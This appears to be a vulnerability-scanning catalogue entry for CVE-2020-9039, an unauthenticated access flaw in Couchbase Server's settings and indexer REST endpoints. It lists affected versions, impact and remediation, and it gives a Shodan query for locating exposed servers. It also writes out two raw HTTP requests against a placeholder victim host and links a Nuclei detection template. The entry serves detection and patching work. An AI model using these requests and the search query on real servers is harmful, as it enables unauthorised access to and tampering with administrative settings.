| Title | Couchbase Server - Broken Access Control |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Attackers can access and modify administrative settings, potentially leading to data tampering or system compromise. |
| Remediation | Update to the latest version where the /settings REST endpoint requires authentication. |
| Shodan Query | html:"Couchbase" |
| Tags | cve cve2020 couchbase unauth |
Couchbase Server versions 4.0.0, 4.1.0, 4.1.1, 4.5.0, 4.5.1, 4.6.0-4.6.5, 5.0.0, 5.1.1, 5.5.0, and 5.5.1 contain insecure permissions for the projector and indexer REST endpoints caused by unauthenticated access, letting attackers access administrative APIs without authentication, exploit requires no special conditions.
GET /settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /indexer/settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9039.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9039.pcap
N/AN/A